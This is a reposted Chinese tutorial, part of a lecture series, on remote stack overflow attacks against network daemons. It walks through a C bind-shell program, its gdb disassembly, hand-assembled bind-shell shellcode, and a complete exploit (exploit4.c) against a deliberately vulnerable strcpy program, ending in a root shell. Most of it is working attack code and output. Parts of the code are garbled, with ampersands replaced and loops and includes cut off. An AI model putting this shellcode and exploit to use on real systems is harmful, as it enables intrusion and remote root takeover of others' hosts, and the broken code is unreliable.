堆栈溢出系列讲座(5)(转)
远程堆栈溢出
我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。我们
必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制(或者
别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。
普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击者来说
,由于我们不在本地,这个sh我们并没有得到。
因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,然后
listen我们的连接,给我们一个远程shell的责任。
如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行)作为
这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进来后,
开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,我们
远程的使用者就有了一个远程shell(跟telnet一样啦)。
下面就是这个算法的C实现:
opensocket.c
------------------------------------------------------------------------
1#include
2#include
3#include
4int soc,cli,soc_len;
5struct sockaddr_in serv_addr;
6struct sockaddr_in cli_addr;
7int main()
8{
9if(fork()==0)
10{
11serv_addr.sin_family=AF_INET;
12serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13serv_addr.sin_port=htons(30464);
14soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
15bind(soc,(struct sockaddr *);serv_addr, sizeof(serv_addr));
16listen(soc,1);
17soc_len=sizeof(cli_addr);
18cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
19dup2(cli,0);
20dup2(cli,1);
21dup2(cli,2);
22execl("/bin/sh","sh",0);
23}
24}
------------------------------------------------------------------------
第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的pid,
对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子进程
作为socket通信的执行者继续下面的操作。
10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后调用
bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接。
当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,
标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了
这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。
看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用
gdb来反编译上面的程序:
[nkl10]$ gcc -o opensocket -static opensocket.c
[nkl10]$ gdb opensocket
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 : movl $0x2,%eax
0x804ca95 : int$0x80
0x804ca97 : cmpl $0xfffff001,%eax
0x804ca9c :jae0x804cdc0 <__syscall_error>
0x804caa2 :ret
0x804caa3 :nop
0x804caa4 :nop
0x804caa5 :nop
0x804caa6 :nop
0x804caa7 :nop
0x804caa8 :nop
0x804caa9 :nop
0x804caaa :nop
0x804caab :nop
0x804caac :nop
0x804caad :nop
0x804caae :nop
0x804caaf :nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 : movl %ebx,%edx
0x804cda2 : movl $0x66,%eax
0x804cda7 : movl $0x1,%ebx
0x804cdac :leal 0x4(%esp,1),%ecx
0x804cdb0 :int$0x80
0x804cdb2 :movl %edx,%ebx
0x804cdb4 :cmpl $0xffffff83,%eax
0x804cdb7 :jae0x804cdc0 <__syscall_error>
0x804cdbd :ret
0x804cdbe :nop
0x804cdbf :nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 : movl %ebx,%edx
0x804cd62 : movl $0x66,%eax
0x804cd67 : movl $0x2,%ebx
0x804cd6c :leal 0x4(%esp,1),%ecx
0x804cd70 :int$0x80
0x804cd72 :movl %edx,%ebx
0x804cd74 :cmpl $0xffffff83,%eax
0x804cd77 :jae0x804cdc0 <__syscall_error>
0x804cd7d :ret
0x804cd7e :nop
0x804cd7f :nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 : movl %ebx,%edx
0x804cd82 : movl $0x66,%eax
0x804cd87 : movl $0x4,%ebx
0x804cd8c :leal 0x4(%esp,1),%ecx
0x804cd90 :int$0x80
0x804cd92 :movl %edx,%ebx
0x804cd94 :cmpl $0xffffff83,%eax
0x804cd97 :jae0x804cdc0 <__syscall_error>
0x804cd9d :ret
0x804cd9e :nop
0x804cd9f :nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>:leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>:int$0x80
0x804cd52 <__accept+18>:movl %edx,%ebx
0x804cd54 <__accept+20>:cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>:jae0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>:ret
0x804cd5e <__accept+30>:nop
0x804cd5f <__accept+31>:nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 : movl %ebx,%edx
0x804cbe2 : movl 0x8(%esp,1),%ecx
0x804cbe6 : movl 0x4(%esp,1),%ebx
0x804cbea :movl $0x3f,%eax
0x804cbef :int$0x80
0x804cbf1 :movl %edx,%ebx
0x804cbf3 :cmpl $0xfffff001,%eax
0x804cbf8 :jae0x804cdc0 <__syscall_error>
0x804cbfe :ret
0x804cbff :nop
End of assembler dump.
现在可以写上面c代码的汇编语句了。
fork()的汇编代码
------------------------------------------------------------------------
char code[]=
"\x31\xc0"/* xorl %eax,%eax*/
"\xb0\x02"/* movb $0x2,%al */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
socket(2,1,6)的汇编代码
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
------------------------------------------------------------------------
/* socket使用66号系统调用,1号子调用。 */
/* 他使用一段内存块来传递参数2,1,6。 */
/* %ecx 里面为这个内存块的地址指针.*/
char code[]=
"\x31\xc0"/* xorl %eax,%eax*/
"\x31\xdb"/* xorl %ebx,%ebx*/
"\x89\xf1"/* movl %esi,%ecx*/
"\xb0\x02"/* movb $0x2,%al */
"\x89\x06"/* movl %eax,(%esi)*/
/* 第一个参数*/
/* %esi 指向一段未使用的内存空间 */
"\xb0\x01"/* movb $0x1,%al */
"\x89\x46\x04"/* movl %eax,0x4(%esi) */
/* 第二个参数*/
"\xb0\x06"/* movb $0x6,%al */
"\x89\x46\x08"/* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66"/* movb $0x66,%al*/
"\xb3\x01"/* movb $0x1,%bl */
"\xcd\x80"; /* int $0x80 */
bind(soc,(struct sockaddr *);serv_addr,0x10)的汇编代码
------------------------------------------------------------------------
/* bind使用66号系统调用,2号子调用。 */
/* 他使用一段内存块来传递参数。*/
/* %ecx 里面为这个内存块的地址指针.*/
char code[]=
"\x89\xf1"/* movl %esi,%ecx*/
"\x89\x06"/* movl %eax,(%esi)*/
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
"\xb0\x02"/* movb $0x2,%al */
"\x66\x89\x46\x0c"/* movw %ax,0xc(%esi)*/
/* serv_addr.sin_family=AF_NET(2)*/
/* 2 放在 0xc(%esi). */
"\xb0\x77"/* movb $0x77,%al*/
"\x66\x89\x46\x0e"/* movw %ax,0xe(%esi)*/
/* 端口号(0x7700=30464)放在 0xe(%esi)*/
"\x8d\x46\x0c"/* leal 0xc(%esi),%eax */
/* %eax = serv_addr 的地址 */
"\x89\x46\x04"/* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x31\xc0"/* xorl %eax,%eax*/
"\x89\x46\x10"/* movl %eax,0x10(%esi)*/
/* serv_addr.sin_addr.s_addr=0 */
"\xb0\x10"/* movb $0x10,%al*/
"\x89\x46\x08"/* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66"/* movb $0x66,%al*/
"\xb3\x02"/* movb $0x2,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
listen(soc,1)的汇编代码
------------------------------------------------------------------------
/* listen使用66号系统调用,4号子调用。 */
/* 他使用一段内存块来传递参数。*/
/* %ecx 里面为这个内存块的地址指针.*/
char code[]=
"\x89\xf1"/* movl %esi,%ecx*/
"\x89\x06"/* movl %eax,(%esi)*/
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
"\xb0\x01"/* movb $0x1,%al */
"\x89\x46\x04"/* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\xb0\x66"/* movb $0x66,%al*/
"\xb3\x04"/* movb $0x4,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
accept(soc,0,0)的汇编代码
------------------------------------------------------------------------
/* accept使用66号系统调用,5号子调用。 */
/* 他使用一段内存块来传递参数。*/
/* %ecx 里面为这个内存块的地址指针.*/
char code[]=
"\x89\xf1"/* movl %esi,%ecx*/
"\x89\xf1"/* movl %eax,(%esi)*/
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
"\x31\xc0"/* xorl %eax,%eax*/
"\x89\x46\x04"/* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x89\x46\x08"/* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66"/* movb $0x66,%al*/
"\xb3\x05"/* movb $0x5,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
dup2(cli,0)的汇编代码
------------------------------------------------------------------------
/* 第一个参数为 %ebx, 第二个参数为 %ecx */
char code[]=
/* %eax 里面是刚才accept调用的返回值, */
/* 客户的文件描述符cli . */
"\x88\xc3"/* movb %al,%bl*/
"\xb0\x3f"/* movb $0x3f,%al*/
"\x31\xc9"/* xorl %ecx,%ecx*/
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
现在该把这些所有的细节都串起来,形成一个新的shell的时候了。
new shellcode
------------------------------------------------------------------------
char shellcode[]=
00"\x31\xc0"/* xorl %eax,%eax*/
02"\xb0\x02"/* movb $0x2,%al */
04"\xcd\x80"/* int $0x80 */
06"\x85\xc0"/* testl %eax,%eax */
08"\x75\x43"/* jne 0x43*/
/* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止*/
/* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0)*/
0a"\xeb\x43"/* jmp 0x43*/
/* 当fork()==0 的时候,表明是子进程*/
/* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5*/
0c"\x5e"/* popl %esi */
0d"\x31\xc0"/* xorl %eax,%eax*/
0f"\x31\xdb"/* xorl %ebx,%ebx*/
11"\x89\xf1"/* movl %esi,%ecx*/
13"\xb0\x02"/* movb $0x2,%al */
15"\x89\x06"/* movl %eax,(%esi)*/
17"\xb0\x01"/* movb $0x1,%al */
19"\x89\x46\x04"/* movl %eax,0x4(%esi) */
1c"\xb0\x06"/* movb $0x6,%al */
1e"\x89\x46\x08"/* movl %eax,0x8(%esi) */
21"\xb0\x66"/* movb $0x66,%al*/
23"\xb3\x01"/* movb $0x1,%bl */
25"\xcd\x80"/* int $0x80 */
/* 执行socket(),eax里面为返回值soc文件描述符*/
27"\x89\x06"/* movl %eax,(%esi)*/
29"\xb0\x02"/* movb $0x2,%al */
2d"\x66\x89\x46\x0c"/* movw %ax,0xc(%esi)*/
2f"\xb0\x77"/* movb $0x77,%al*/
31"\x66\x89\x46\x0e"/* movw %ax,0xe(%esi)*/
35"\x8d\x46\x0c"/* leal 0xc(%esi),%eax */
38"\x89\x46\x04"/* movl %eax,0x4(%esi) */
3b"\x31\xc0"/* xorl %eax,%eax*/
3d"\x89\x46\x10"/* movl %eax,0x10(%esi)*/
40"\xb0\x10"/* movb $0x10,%al*/
42"\x89\x46\x08"/* movl %eax,0x8(%esi) */
45"\xb0\x66"/* movb $0x66,%al*/
47"\xb3\x02"/* movb $0x2,%bl */
49"\xcd\x80"/* int $0x80 */
/* 执行bind()*/
4b"\xeb\x04"/* jmp 0x4 */
/* 越过下面的两个跳转*/
4d"\xeb\x55"/* jmp 0x55*/
/* 跳到0x4f+0x55=0xa4*/
4f"\xeb\x5b"/* jmp 0x5b*/
/* 跳到0x51+0x5b=0xac*/
51"\xb0\x01"/* movb $0x1,%al */
53"\x89\x46\x04"/* movl %eax,0x4(%esi) */
56"\xb0\x66"/* movb $0x66,%al*/
58"\xb3\x04"/* movb $0x4,%bl */
5a"\xcd\x80"/* int $0x80 */
/* 执行listen()*/
5c"\x31\xc0"/* xorl %eax,%eax*/
5e"\x89\x46\x04"/* movl %eax,0x4(%esi) */
61"\x89\x46\x08"/* movl %eax,0x8(%esi) */
64"\xb0\x66"/* movb $0x66,%al*/
66"\xb3\x05"/* movb $0x5,%bl */
68"\xcd\x80"/* int $0x80 */
/* 执行accept(),eax里面为返回值cli文件描述符*/
6a"\x88\xc3"/* movb %al,%bl*/
6c"\xb0\x3f"/* movb $0x3f,%al*/
6e"\x31\xc9"/* xorl %ecx,%ecx*/
70"\xcd\x80"/* int $0x80 */
72"\xb0\x3f"/* movb $0x3f,%al*/
74"\xb1\x01"/* movb $0x1,%cl */
76"\xcd\x80"/* int $0x80 */
78"\xb0\x3f"/* movb $0x3f,%al*/
7a"\xb1\x02"/* movb $0x2,%cl */
7c"\xcd\x80"/* int $0x80 */
/* 执行三个dup2()*/
7e"\xb8\x2f\x62\x69\x6e"/* movl $0x6e69622f,%eax */
/* %eax="/bin" */
83"\x89\x06"/* movl %eax,(%esi)*/
85"\xb8\x2f\x73\x68\x2f"/* movl $0x2f68732f,%eax */
/* %eax="/sh/" */
8a"\x89\x46\x04"/* movl %eax,0x4(%esi) */
8d"\x31\xc0"/* xorl %eax,%eax*/
8f"\x88\x46\x07"/* movb %al,0x7(%esi)*/
92"\x89\x76\x08"/* movl %esi,0x8(%esi) */
95"\x89\x46\x0c"/* movl %eax,0xc(%esi) */
98"\xb0\x0b"/* movb $0xb,%al */
9a"\x89\xf3"/* movl %esi,%ebx*/
9c"\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */
9f"\x8d\x56\x0c"/* leal 0xc(%esi),%edx */
a2"\xcd\x80"/* int $0x80 */
/* 执行execve()*/
/* 运行/bin/sh() */
a4"\x31\xc0"/* xorl %eax,%eax*/
a6"\xb0\x01"/* movb $0x1,%al */
a8"\x31\xdb"/* xorl %ebx,%ebx*/
aa"\xcd\x80"/* int $0x80 */
/* 执行exit()*/
ac"\xe8\x5b\xff\xff\xff"; /* call -0xa5*/
/* 执行0x0c处的指令*/
b1
------------------------------------------------------------------------
好,长长的shell终于写完了,下面就是攻击程序了。
exploit4.c
------------------------------------------------------------------------
char shellcode[]=
"\x31\xc0"/* xorl %eax,%eax*/
"\xb0\x02"/* movb $0x2,%al */
"\xcd\x80"/* int $0x80 */
"\x85\xc0"/* testl %eax,%eax */
"\x75\x43"/* jne 0x43*/
"\xeb\x43"/* jmp 0x43*/
"\x5e"/* popl %esi */
"\x31\xc0"/* xorl %eax,%eax*/
"\x31\xdb"/* xorl %ebx,%ebx*/
"\x89\xf1"/* movl %esi,%ecx*/
"\xb0\x02"/* movb $0x2,%al */
"\x89\x06"/* movl %eax,(%esi)*/
"\xb0\x01"/* movb $0x1,%al */
"\x89\x46\x04"/* movl %eax,0x4(%esi) */
"\x89\x46\x08"/* movl %eax,0x8(%esi) */
"\xb0\x66"/* movb $0x66,%al*/
"\xb3\x01"/* movb $0x1,%bl */
"\xcd\x80"/* int $0x80 */
"\x89\x06"/* movl %eax,(%esi)*/
"\xb0\x02"/* movb $0x2,%al */
"\x66\x89\x46\x0c"/* movw %ax,0xc(%esi)*/
"\xb0\x77"/* movb $0x77,%al*/
"\x66\x89\x46\x0e"/* movw %ax,0xe(%esi)*/
"\x8d\x46\x0c"/* leal 0xc(%esi),%eax */
"\x89\x46\x04"/* movl %eax,0x4(%esi) */
"\x31\xc0"/* xorl %eax,%eax*/
"\x89\x46\x10"/* movl %eax,0x10(%esi)*/
"\xb0\x10"/* movb $0x10,%al*/
"\x89\x46\x08"/* movl %eax,0x8(%esi) */
"\xb0\x66"/* movb $0x66,%al*/
"\xb3\x02"/* movb $0x2,%bl */
"\xcd\x80"/* int $0x80 */
"\xeb\x04"/* jmp 0x4 */
"\xeb\x55"/* jmp 0x55*/
"\xeb\x5b"/* jmp 0x5b*/
"\xb0\x01"/* movb $0x1,%al */
"\x89\x46\x04"/* movl %eax,0x4(%esi) */
"\xb0\x66"/* movb $0x66,%al*/
"\xb3\x04"/* movb $0x4,%bl */
"\xcd\x80"/* int $0x80 */
"\x31\xc0"/* xorl %eax,%eax*/
"\x89\x46\x04"/* movl %eax,0x4(%esi) */
"\x89\x46\x08"/* movl %eax,0x8(%esi) */
"\xb0\x66"/* movb $0x66,%al*/
"\xb3\x05"/* movb $0x5,%bl */
"\xcd\x80"/* int $0x80 */
"\x88\xc3"/* movb %al,%bl*/
"\xb0\x3f"/* movb $0x3f,%al*/
"\x31\xc9"/* xorl %ecx,%ecx*/
"\xcd\x80"/* int $0x80 */
"\xb0\x3f"/* movb $0x3f,%al*/
"\xb1\x01"/* movb $0x1,%cl */
"\xcd\x80"/* int $0x80 */
"\xb0\x3f"/* movb $0x3f,%al*/
"\xb1\x02"/* movb $0x2,%cl */
"\xcd\x80"/* int $0x80 */
"\xb8\x2f\x62\x69\x6e"/* movl $0x6e69622f,%eax */
"\x89\x06"/* movl %eax,(%esi)*/
"\xb8\x2f\x73\x68\x2f"/* movl $0x2f68732f,%eax */
"\x89\x46\x04"/* movl %eax,0x4(%esi) */
"\x31\xc0"/* xorl %eax,%eax*/
"\x88\x46\x07"/* movb %al,0x7(%esi)*/
"\x89\x76\x08"/* movl %esi,0x8(%esi) */
"\x89\x46\x0c"/* movl %eax,0xc(%esi) */
"\xb0\x0b"/* movb $0xb,%al */
"\x89\xf3"/* movl %esi,%ebx*/
"\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"/* leal 0xc(%esi),%edx */
"\xcd\x80"/* int $0x80 */
"\x31\xc0"/* xorl %eax,%eax*/
"\xb0\x01"/* movb $0x1,%al */
"\x31\xdb"/* xorl %ebx,%ebx*/
"\xcd\x80"/* int $0x80 */
"\xe8\x5b\xff\xff\xff"; /* call -0xa5*/
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can';t resolve host.\n");
exit(0);
}
memcpy(;ip,(hp->h_addr),4);
}
return ip;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(;rset);
FD_SET(fileno(stdin),;rset);
FD_SET(sockfd,;rset);
select(255,;rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),;rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,;rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(;sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can';t create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *);sin,sizeof(sin))<0)
{
printf("Can';t connect to the shell\n");
exit(0);
}
return sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i>8;
buff[i+ALIGN+2]=(addr;0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr;0xff000000)>>24;
}
for(i=0;i=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i;
buff[bsize-1]=';\0';;
printf("Jump to 0x%08x\n",addr);
if(fork()==0)
{
execl("./vulnerable","vulnerable",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
------------------------------------------------------------------------
算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标程序
来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的shellcode被
执行,那么在30464端口就会有server在listen了。
父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket读取
收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端。
下面来试一试:
我们先写一个漏洞程序:
vulnerable.C
------------------------------------------------------------------------
int main(int argc,char ** argv)
{
char buffer[1000];
printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);
return 0;
}
------------------------------------------------------------------------
[nkl10]$ ./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can';t connect to the shell
看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样就可以
不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。
[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
Linux localhost.localdomain 2.2.5-15。。。
嘿嘿,大功告成了。
|